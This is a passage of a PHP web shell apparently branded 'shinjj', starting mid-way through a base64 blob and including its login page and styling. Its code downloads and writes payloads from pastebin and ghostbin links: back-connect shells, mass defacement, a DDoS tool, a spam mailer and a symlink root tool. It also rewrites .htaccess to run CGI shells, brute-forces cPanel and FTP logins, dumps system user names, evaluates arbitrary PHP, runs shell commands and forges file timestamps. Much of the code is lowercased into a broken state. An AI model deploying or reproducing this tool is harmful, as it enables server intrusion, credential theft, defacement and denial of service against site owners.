dasicrfukvrvuvtvfsncm93cyddkzeglsakbgluzxmpktskzwnobybydhjpbsgkcgfkzgluzyauicrfu0vtu0lptlsnb3v0chv0j10powo/pgo8l3rlehrhcmvhpgo8ccbjbgfzcz0ichjvbxb0ij48p3boccbly2hvicrfu0vtu0lptlsnchjvbxb0j10uijo+ijsgpz4kpgluchv0ignsyxnzpsjwcm9tchqiig5hbwu9imnvbw1hbmqiihr5cgu9inrlehqiig9ua2v5dxa9imtleshldmvudckiihnpemu9ijywiib0ywjpbmrled0imsi+cjwvcd4kcjw/ic8qpha+cjxpbnb1dcb0exblpsjzdwjtaxqiihzhbhvlpsjfegvjdxrlienvbw1hbmqiic8+cjxpbnb1dcb0exblpsjzdwjtaxqiig5hbwu9injlc2v0iib2ywx1zt0iumvzzxqiic8+cljvd3m6idxpbnb1dcb0exblpsj0zxh0iibuyw1lpsjyb3dziib2ywx1zt0ipd9wahagzwnobyakx1jfuvvfu1rbj3jvd3mnxsa/piiglz4kpc9wpgoqlz8+cjwvzm9ybt48l3rkpjwvdhi+cjwvym9ket4kpc9odg1spgo8p3bocca/pg==';    $file       = fopen("command.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";}//end newcommand//symrootelseif ($action == 'symroot') {   $file       = fopen($dir . "symroot.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');    $file       = fopen("symroot.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";	}//zipcodeelseif ($action == 'zipcode') {     $file       = fopen($dir . "zipcode.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');    $file       = fopen("zipcode.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";	}//massdefaceelseif ($action == 'mass') {    $file       = fopen($dir . "mass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');    $file       = fopen("mass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='mass.php' width='100%' height='500'></iframe>";	}//shellbypasselseif ($action == 'vb') {	 $file       = fopen($dir . "shellbypass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');    $file       = fopen("shellbypass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";	}elseif ($action == 'termi') {    $file       = fopen($dir . "dgterminal.php", "w+");    $perltoolss = file_get_contents('https://pastebin.com/raw.php?i=f3auvq9q');    $file       = fopen("dgterminal.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='dgterminal.php' width='100%' height='500'></iframe>";	} elseif ($action == 'cgipin') {    mkdir('pin', 0755);    chdir('pin');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("can not open file!");    $metin = "options +execcgiaddhandler cgi-script cgi pl cgi gmc pin jpgrewriteengine onrewriterule (.*)\.mil$ $1.cgioptions +followsymlinksdirectoryindex cmd.htmloptions +indexesremovehandler .hackaddtype text/plain .hack";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');    $file = fopen("cgi.pin", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("cgi.pin", 0755);    echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'telnet') {    mkdir('tel', 0755);    chdir('tel');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("can not open file!");    $metin = "options +followsymlinks +indexesdirectoryindex default.html ## start ##options +execcgiaddhandler cgi-script log cgi pl tg love h4 marion001 tgb x-zone addtype application/x-httpd-php .jpgrewriteengine onrewriterule (.*)\war$ .log## end ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');    $file = fopen("telnet.pl", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("telnet.pl", 0755);    echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'endecode') {$en  = 'https://pastebin.com/raw.php?i=y5qhr0wm';$de = file_get_contents($en);$cone = fopen('endecode.php', 'w');fwrite($cone,$de);fclose($cone);echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";}elseif ($action == 'ddosv2') {$ddosv  = 'https://pastebin.com/raw.php?i=xywv7csa';$dess = file_get_contents($ddosv);$coneww = fopen('ddosv2.php', 'w');fwrite($coneww,$dess);fclose($coneww);echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";}elseif ($action == 'bcphp') {    $file       = fopen($dir . "backconnect.php", "w+");    $perltoolss = file_get_contents('https://pastebin.com/raw.php?i=q7mas9nf');    $file       = fopen("backconnect.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";}elseif ($action == 'viewdomain') {$viewdomain  = 'https://pastebin.com/raw.php?i=igsiu7uk';$desszzzz = file_get_contents($viewdomain);$coww = fopen('viewdomain.php', 'w');fwrite($coww,$desszzzz);fclose($coww);echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";}elseif ($action == 'scan') {    $file       = fopen($dir . "scan.php", "w+");    $perltoolss = file_get_contents('https://pastebin.com/raw.php?i=piur3lpb');    $file       = fopen("scan.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='scan.php' width='100%' height='500'></iframe>";}elseif ($action == 'massfd') {    $file       = fopen($dir . "massfd.php", "w+");    $perltoolss = file_get_contents('https://pastebin.com/raw.php?i=s0ucaquf');    $file       = fopen("massfd.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";}elseif ($action == 'reverseip') {       echo "<iframe src=https://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";} elseif ($action == 'spam') {    $file       = fopen($dir . "fakemail.php", "w+");    $perltoolss = file_get_contents('https://pastebin.com/raw.php?i=ljrcnvua');    $file       = fopen("fakemail.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";}//bugshellelseif ($action == 'bug') {$bug  = 'https://pastebin.com/raw.php?i=07hwc5fw';$bugshell = file_get_contents($bug);$bs = fopen('bugshell.php', 'w');fwrite($bs,$bugshell);fclose($mdf);echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";}//findadminelseif ($action == 'findadmin') {$find  = 'https://pastebin.com/raw.php?i=8umxbduc';$admin = file_get_contents($find);$dmm = fopen('findadmin.php', 'w');fwrite($dmm,$admin);fclose($dmm);echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";}// bruteelseif ($action == 'brute') {formhead(array('title'=>'brute forcer'));	makehide('action','brute');	makehide('dir',$brute);@ini_set('memory_limit', 1000000000000);$connect_timeout=5;@set_time_limit(0);$submit = $_request['submit'];$users = $_request['users'];$pass = $_request['passwords'];$target = $_request['target'];$option = $_request['option'];$passlist = "01234560123456701234567801234567890123456789012345612345671234567812345678912345678901111110000002222223333334444445555556666667777778888889999991231234564567897891233214566546543217654321876543219876543210987654321admina[email protected][email protected]";if($target == ''){$target = 'localhost';}print " <div align='center'><form method='post' style='border: 1px solid #000000'><br><br><table style='border-collapse: collapse' cellspacing=0 bordercolordark=#966117 cellpadding=5 width='40%' bgcolor=#303030 bordercolorlight=#966117 border=1><tr><td><b> target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p><div align='center'><br><table style='border-collapse: collapse' cellspacing=0 bordercolordark=#966117 cellpadding=5 width='50%' bgcolor=#303030 bordercolorlight=#966117 border=1><tr><td align='center'><b>username</b></td><td><p align='center'><b>password</b></td></tr></table><p align='center'><textarea rows='20' name='users' cols='25' style='border: 2px solid #1d1d1d; background-color: #000000; color:#c0c0c0'>";$i = 0;while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}echo "</textarea><textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1d1d1d; background-color: #000000; color:#c0c0c0'>$passlist</textarea><br><br><b>options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cpanel<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='attack' name='submit' ></p></td></tr></table></td></tr></form><p align= 'left'>";?><?phpfunction ftp_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, curlopt_url, "ftp://$host");curl_setopt($ch, curlopt_returntransfer, 1);curl_setopt($ch, curlopt_httpauth, curlauth_basic);curl_setopt($ch, curlopt_ftplistonly, 1);curl_setopt($ch, curlopt_userpwd, "$user:$pass");curl_setopt ($ch, curlopt_connecttimeout, $timeout);curl_setopt($ch, curlopt_failonerror, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> error : connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ [email protected] ]# </b><b> attacking has been done! username: <font color='#ff0000'> $user </font> / password:<font color='#ff0000'> $pass </font> => <a href=https://$user:[email protected]$host:2082 target=_blank>login</a></b><br>");}curl_close($ch);}function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, curlopt_url, "https://$host:2082");curl_setopt($ch, curlopt_returntransfer, 1);curl_setopt($ch, curlopt_httpauth, curlauth_basic);curl_setopt($ch, curlopt_userpwd, "$user:$pass");curl_setopt ($ch, curlopt_connecttimeout, $timeout);curl_setopt($ch, curlopt_failonerror, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> error : connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ [email protected] ]# </b><b>attacking has been done!</a> username: <font color='#ff0000'> $user </font> / password:<font color='#ff0000'> $pass </font></b><br>");}curl_close($ch);}if(isset($submit) && !empty($submit)){$userlist = explode ("\n" , $users );$passlist = explode ("\n" , $pass );p('<b>[ [email protected] ]# attacking ...</font></b><br>');foreach ($userlist as $user) {$_user = trim($user);foreach ($passlist as $password ) {$_pass = trim($password);if($option == "ftp"){ftp_check($target,$_user,$_pass,$connect_timeout);}if ($option == "cpanel"){cpanel_check($target,$_user,$_pass,$connect_timeout);}}}}	formfoot();}elseif ($action == 'etcpwd') {formhead(array('title'=>'get /etc/passwd'));	makehide('action','etcpwd');	makehide('dir',$nowpath);$i = 0; echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}  echo "</textarea></p>";	formfoot();}elseif ($action == 'evals') {	$phpcode = trim($phpcode);	if($phpcode){		if (!preg_match('#<\?#si', $phpcode)) {			$phpcode = "<?php\n\n{$phpcode}\n\n?>";		}		evals("?".">$phpcode<?");	}	formhead(array('title'=>'evals php code'));	makehide('action','evals');	maketext(array('title'=>'php code','name'=>'phpcode', 'value'=>$phpcode));	p('<p><a rel="nofollow" href="https://www.4ngel.net/phpspy/plugin/" target="_blank">get plugins</a></p>');	formfooter();}//end evalselseif ($action == 'editfile') {	if(file_exists($opfile)) {		[email protected]($opfile,'r');		[email protected]($fp, filesize($opfile));		@fclose($fp);		$contents=htmlspecialchars($contents);	}	formhead(array('title'=>'create / edit file'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'current file (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));	maketext(array('title'=>'file content','name'=>'filecontent','value'=>$contents));	formfooter();}//end editfileelseif ($action == 'newtime') {	$opfilemtime = @filemtime($opfile);	//$time = strtotime("$year-$month-$day $hour:$minute:$second");	$cachemonth = array('january'=>1,'february'=>2,'march'=>3,'april'=>4,'may'=>5,'june'=>6,'july'=>7,'august'=>8,'september'=>9,'october'=>10,'november'=>11,'december'=>12);	formhead(array('title'=>'clone file was last modified time'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	makeinput(array('title'=>'reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));	formfooter();	formhead(array('title'=>'set last modified'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	p('<p>instead &raquo;');	p('year:');	makeinput(array('name'=>'year','value'=>date('y',$opfilemtime),'size'=>4));	p('month:');	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));	p('day:');	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));	p('hour:');	makeinput(array('name'=>'hour','value'=>date('h',$opfilemtime),'size'=>2));	p('minute:');	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));	p('second:');	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));	p('</p>');	formfooter();}//end newtimeelseif ($action == 'shell') {	if (is_win && is_com) {		if($program && $parameter) {			$shell= new com('shell.application');			$a = $shell->shellexecute($program,$parameter);			m('program run has '.(!$a ? 'success' : 'fail'));		}		!$program && $program = 'c:\windows\system32\cmd.exe';		!$parameter && $parameter = '/c net start > '.sa_root.'log.txt';		formhead(array('title'=>'execute program'));		makehide('action','shell');		makeinput(array('title'=>'program','name'=>'program','value'=>$program,'newline'=>1));		p('<p>');		makeinput(array('title'=>'parameter','name'=>'parameter','value'=>$parameter));		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'execute'));		p('</p>');		formfoot();	}	formhead(array('title'=>'execute command'));	makehide('action','shell');	if (is_win && is_com) {		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');		makeselect(array('title'=>'use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));	}	p('<p>');	makeinput(array('title'=>'command','name'=>'command','value'=>$command));	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'execute'));	p('</p>');	formfoot();	if ($command) {		p('<hr width="100%" noshade /><pre>');		if ($execfunc=='wscript' && is_win && is_com) {			$wsh = new com('wscript.shell');			$exec = $wsh->exec('cmd.exe /c '.$command);			$stdout = $exec->stdout();			$stroutput = $stdout->readall();			echo $stroutput;		} elseif ($execfunc=='proc_open' && is_win && is_com) {			$descriptorspec = array(			   0 => array('pipe', 'r'),			   1 => array('pipe', 'w'),			   2 => array('pipe', 'w')			);			$process = proc_open($_server['comspec'], $descriptorspec, $pipes);			if (is_resource($process)) {				fwrite($pipes[0], $command."\r\n");				fwrite($pipes[0], "exit\r\n");				fclose($pipes[0]);				while (!feof($pipes[1])) {					echo fgets($pipes[1], 1024);				}				fclose($pipes[1]);				while (!feof($pipes[2])) {					echo fgets($pipes[2], 1024);				}				fclose($pipes[2]);				proc_close($process);			}		} else {			echo(execute($command));		}		p('</pre>');	}}//end shellelseif ($action == 'phpenv') {	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'not allowed';	$adminmail=isset($_server['server_admin']) ? $_server['server_admin'] : getcfg('sendmail_from');	!$dis_func && $dis_func = 'no';	$info = array(		1 => array('server time',date('y/m/d h:i:s',$timestamp)),		2 => array('server domain',$_server['server_name']),		3 => array('server ip',gethostbyname($_server['server_name'])),		4 => array('server os',php_os),		5 => array('server os charset',$_server['http_accept_language']),		6 => array('server software',$_server['server_software']),		7 => array('server web port',$_server['server_port']),		8 => array('php run mode',strtoupper(php_sapi_name())),		9 => array('the file path',__file__),		10 => array('php version',php_version),		11 => array('phpinfo',(is_phpinfo ? '<a href="javascript:goaction(\'phpinfo\');">yes</a>' : 'no')),		12 => array('safe mode',getcfg('safe_mode')),		13 => array('administrator',$adminmail),		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),		15 => array('enable_dl',getcfg('enable_dl')),		16 => array('display_errors',getcfg('display_errors')),		17 => array('register_globals',getcfg('register_globals')),		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),		19 => array('memory_limit',getcfg('memory_limit')),		20 => array('post_max_size',getcfg('post_max_size')),		21 => array('upload_max_filesize',$upsize),		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),		23 => array('disable_functions',$dis_func),	);	if($phpvarname) {		m($phpvarname .' : '.getcfg($phpvarname));	}	formhead(array('title'=>'server environment'));	makehide('action','phpenv');	makeinput(array('title'=>'please input php configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));	formfooter();	$hp = array(0=> 'server', 1=> 'php');	for($a=0;$a<2;$a++) {		p('<h2>'.$hp[$a].' &raquo;</h2>');		p('<ul class="info">');		if ($a==0) {			for($i=1;$i<=9;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		} elseif ($a == 1) {			for($i=10;$i<=23;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		}		p('</ul>');	}}//end phpenvelse {	m('undefined action');}?></td></tr></table><div style="padding:10px;border-bottom:1px solid #0e0e0e;border-top:1px solid #0e0e0e;background:#0e0e0e;">	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>	copyright (c) 2015 <b></b> - develop by <a href=https://www.facebook.com/profile.php?id=100011074965700 target=_blank><b>shinjj   </b></a> - <b>all rights reserved.</b> </div></body></html><?php/*======================================================show info shell======================================================*/function m($msg) {	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';	echo $msg;	echo '</div>';}function scookie($key, $value, $life = 0, $prefix = 1) {	global $admin, $timestamp, $_server;	$key = ($prefix ? $admin['cookiepre'] : '').$key;	$life = $life ? $life : $admin['cookielife'];	$useport = $_server['server_port'] == 443 ? 1 : 0;	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);}function multi($num, $perpage, $curpage, $tablename) {	$multipage = '';	if($num > $perpage) {		$page = 10;		$offset = 5;		$pages = @ceil($num / $perpage);		if($page > $pages) {			$from = 1;			$to = $pages;		} else {			$from = $curpage - $offset;			$to = $curpage + $page - $offset - 1;			if($from < 1) {				$to = $curpage + 1 - $from;				$from = 1;				if(($to - $from) < $page && ($to - $from) < $pages) {					$to = $page;				}			} elseif($to > $pages) {				$from = $curpage - $pages + $to;				$to = $pages;				if(($to - $from) < $page && ($to - $from) < $pages) {					$from = $pages - $page + 1;				}			}		}		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">first</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">prev</a> ' : '');		for($i = $from; $i <= $to; $i++) {			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';		}		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">last</a>' : '');		$multipage = $multipage ? '<p>pages: '.$multipage.'</p>' : '';	}	return $multipage;}// login pagefunction loginpage() {?><html><head>		<meta http-equiv="content-type" content="text/html; charset=utf-8" /><div class="clock"><div id="date"></div>  <ul>      <li id="hours"></li>      <li id="point">:</li>      <li id="min"></li>      <li id="point">:</li>      <li id="sec"></li>  </ul>  <body bgcolor="black"></body></div>		<style type="text/css">		@font-face {    font-family: 'bebasneueregular';    src: url('bebasneue-webfont.eot');    src: url('bebasneue-webfont.eot?#iefix') format('embedded-opentype'),         url('bebasneue-webfont.woff') format('woff'),         url('bebasneue-webfont.ttf') format('truetype'),         url('bebasneue-webfont.svg#bebasneueregular') format('svg');    font-weight: normal;    font-style: normal;}.clock {    width: 800px;    margin: 0 auto;    padding: 30px;    border: 1px solid #333;    color: #fff;} #date {    font-family: 'bebasneueregular', arial, helvetica, sans-serif;    font-size: 36px;    text-align: center;    text-shadow: 0 0 5px #00c6ff;} ul {    width: 800px;    margin: 0 auto;    padding: 0px;    list-style: none;    text-align: center;} ul li {    display: inline;    font-size: 10em;    text-align: center;    font-family: 'bebasneueregular', arial, helvetica, sans-serif;    text-shadow: 0 0 5px #00c6ff;} #point {    position: relative;    -moz-animation: mymove 1s ease infinite;    -webkit-animation: mymove 1s ease infinite;    padding-left: 10px;    padding-right: 10px;}@-webkit-keyframes mymove {    0% {opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;} 50% {    opacity: 0;    text-shadow: none;} 100% {    opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;}} @-moz-keyframes mymove {    0% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    }     50% {        opacity: 0;        text-shadow: none;    }     100% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    };}</style><script type="text/javascript" src="https://code.jquery.com/jquery-1.6.4.min.js"></script><script type="text/javascript">$(document).ready(function() {// tao 2 mang chua ten ngay thangvar monthnames = [ "january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december" ];var daynames= ["sunday","monday","tuesday","wednesday","thursday","friday","saturday"] // tao moi doi tuong date()var newdate = new date();// lay gia tri thoi gian hien tainewdate.setdate(newdate.getdate());// xuat ngay thang, nam$('#date').html(daynames[newdate.getday()] + " " + newdate.getdate() + ' ' + monthnames[newdate.getmonth()] + ' ' + newdate.getfullyear()); setinterval( function() {    // lay gia tri giay trong doi tuong date()    var seconds = new date().getseconds();    // chen so 0 vao dang truoc gia tri giay    $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);    },1000); setinterval( function() {    // tuong tu lay gia tri phut    var minutes = new date().getminutes();    // chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10    $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);    },1000); setinterval( function() {    // lay gia tri gio hien tai    var hours = new date().gethours();    // chen so 0 vao truoc gia tri gio neu gia tri nho hon 10    $("#hours").html(( hours < 10 ? "0" : "" ) + hours);    }, 1000);});</script><div align="center">	<div>	<form method="post" action="" class="form-3">	 <p class="clearfix">        <label for="login">username</label>        <input type="text" placeholder="username">    </p>    <p class="clearfix">		<label for="password">password</label>        <input type="password" name="password" id="password" placeholder="password">		<input type="hidden" name="doing" value="login">		 <input type="submit" name="submit" value="shinjj">	</p>		</form>	<br>	</font></div>	</font></div>	<style>	/* globals */ *,*:after,*:before {    -webkit-box-sizing: border-box;    -moz-box-sizing: border-box;    -ms-box-sizing: border-box;    -o-box-sizing: border-box;    box-sizing: border-box;    padding: 0;    margin: 0;} .clearfix:after {    content: "";    display: table;    clear: both;} .form-3 {    font-family: 'ubuntu', 'lato', sans-serif;    font-weight: 400;    /* size and position */    width: 300px;    position: relative;    margin: 60px auto 30px;    padding: 10px;    overflow: hidden;     /* styles */    background: #111;    border-radius: 0.4em;    border: 1px solid #191919;    box-shadow:        inset 0 0 2px 1px rgba(255,255,255,0.08),        0 16px 10px -8px rgba(0, 0, 0, 0.6);} .form-3 label {    /* size and position */    width: 50%;    float: left;    padding-top: 9px;     /* styles */    color: #ddd;    font-size: 12px;    text-transform: uppercase;    letter-spacing: 1px;    text-shadow: 0 1px 0 #000;    text-indent: 10px;    font-weight: 700;    cursor: pointer;} .form-3 input[type=text],.form-3 input[type=password] {    /* size and position */    width: 50%;    float: left;    padding: 8px 5px;    margin-bottom: 10px;    font-size: 12px;     /* styles */    background: linear-gradient(#1f2124, #27292c);    border: 1px solid #000;    box-shadow:        0 1px 0 rgba(255,255,255,0.1);    border-radius: 3px;     /* font styles */    font-family: 'ubuntu', 'lato', sans-serif;    color: #fff; } .form-3 input[type=text]:hover,.form-3 input[type=password]:hover,.form-3 label:hover ~ input[type=text],.form-3 label:hover ~ input[type=password] {    background: #27292c;} .form-3 input[type=text]:focus,.form-3 input[type=password]:focus {    box-shadow: inset 0 0 2px #000;    background: #494d54;    border-color: #51cbee;    outline: none; /* remove chrome outline */} .form-3 p:nth-child(3),.form-3 p:nth-child(4) {    float: left;    width: 50%;} .form-3 label[for=remember] {    width: auto;    float: none;    display: inline-block;    text-transform: capitalize;    font-size: 11px;    font-weight: 400;    letter-spacing: 0px;    text-indent: 2px;} .form-3 input[type=checkbox] {    margin-left: 10px;    vertical-align: middle;} .form-3 input[type=submit] {    /* width and position */    width: 100%;    padding: 8px 5px;     /* styles */    border: 1px solid #0273dd; /* fallback */    border: 1px solid rgba(0,0,0,0.4);    box-shadow:        inset 0 1px 0 rgba(255,255,255,0.3),        inset 0 10px 10px rgba(255,255,255,0.1);    border-radius: 3px;    background: #38a6f0;    cursor:pointer;     /* font styles */    font-family: 'ubuntu', 'lato', sans-serif;    color: white;    font-weight: 700;    font-size: 15px;    text-shadow: 0 -1px 0 rgba(0,0,0,0.8);} .form-3 input[type=submit]:hover {    box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);} .form-3 input[type=submit]:active {    background: #287db5;    box-shadow: inset 0 0 3px rgba(0,0,0,0.6);    border-color: #000; /* fallback */    border-color: rgba(0,0,0,0.9);} .no-boxshadow .form-3 input[type=submit]:hover {    background: #2a92d8;} /* gradient line */.form-3:after {    /* size and position */    content: "";    height: 1px;    width: 33%;    position: absolute;    left: 20%;    top: 0;     /* styles */    background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);} /* small flash */.form-3:before {    /* size and position */    content: "";    width: 8px;    height: 5px;    position: absolute;    left: 34%;    top: -7px;     /* styles */    border-radius: 50%;    box-shadow: 0 0 6px 4px #fff;} .form-3 p:nth-child(1):before{    /* size and position */    content: "";    width: 250px;    height: 100px;    position: absolute;    top: 0;    left: 45px;     /* styles */    transform: rotate(75deg);    background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));    pointer-events: none;} .no-pointerevents .form-3 p:nth-child(1):before {    display: none;}</style><aside class="container">  <input type="checkbox" id="menu__trigger">  <section class="menu">    <!--<label for="menu__trigger" class="entypo-cancel"></label>-->    <nav>      <a rel="nofollow" href="https://www.facebook.com/profile.php?id=100011074965700">1. facebook</a>      <a href="https://www.facebook.com/profile.php?id=100011074965700">2. clone</a>      <a href="https://google.com">3. website</a>      <a href="https://www.youtube.com/channel/uciq9zt6xuvtrqdkfzhrrehq">4. youtube</a>	  <a href="https://google.com">5. google</a>      <a href="/index.html">6. trang ch&#7911;</a>    </nav>  </section>     <section class="content">    <label for="menu__trigger" class="entypo-menu"></label>  </section></aside><style>[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;}[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;} html {  min-height: 100%;  min-width: 100%;}html body {  min-height: 100%;  min-width: 100%;  font-family: 'lato', sans-serif;}html body input[type="checkbox"] {  position: absolute;  height: 0;  width: 0;  display: none;}html body input[type="checkbox"]:checked ~ .menu nav a {  -webkit-transform: translate3d(0px, 0, 0) rotatey(0deg);  transform: translate3d(0px, 0, 0) rotatey(0deg);  -webkite-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .4s ease-in-out;  transition: all .4s ease-in-out;  background: #252525;  color: #fff;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {  -webkit-transition-delay: .1s;  transition-delay: .1s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {  -webkit-transition-delay: .2s;  transition-delay: .2s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {  -webkit-transition-delay: .3s;  transition-delay: 0.3s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {  -webkit-transition-delay: .4s;  transition-delay: .4s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {  -webkit-transition-delay: .5s;  transition-delay: 0.5s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {  -webkit-transition-delay: .6s;  transition-delay: 0.6s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {  -webkit-transition-delay: .7s;  transition-delay: 0.7s;}html body section.menu {  position: fixed;  z-index: 10;  top: 0;  bottom: 0;  min-height: 100%;}html body section.menu nav {  padding-top: 4rem;  -webkit-perspective: 20rem;  perspective: 20rem;}html body section.menu nav a {  display: block;  width: 12rem;  padding: 1.25rem 0rem 1.25rem 1.75rem;  background: #222;  border-bottom: 1px solid #2a2a2a;  box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;  color: #fff;  letter-spacing: 1.5px;  font-weight: 300;  font-size: 1.25rem;  text-decoration: none;  -webkit-transform: translate3d(-100%, 0, 0) rotatey(90deg);  transform: translate3d(-100%, 0, 0) rotatey(90deg);  -webkit-transform-origin: 0% 50%;  transform-origin: 0% 50%;  -webkit-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .25s ease-in-out;  transition: all .25s ease-in-out;}html body section.menu nav a:nth-child(1) {  -webkit-transition-delay: .235s;  transition-delay: .235s;}html body section.menu nav a:nth-child(2) {  -webkit-transition-delay: .2s;  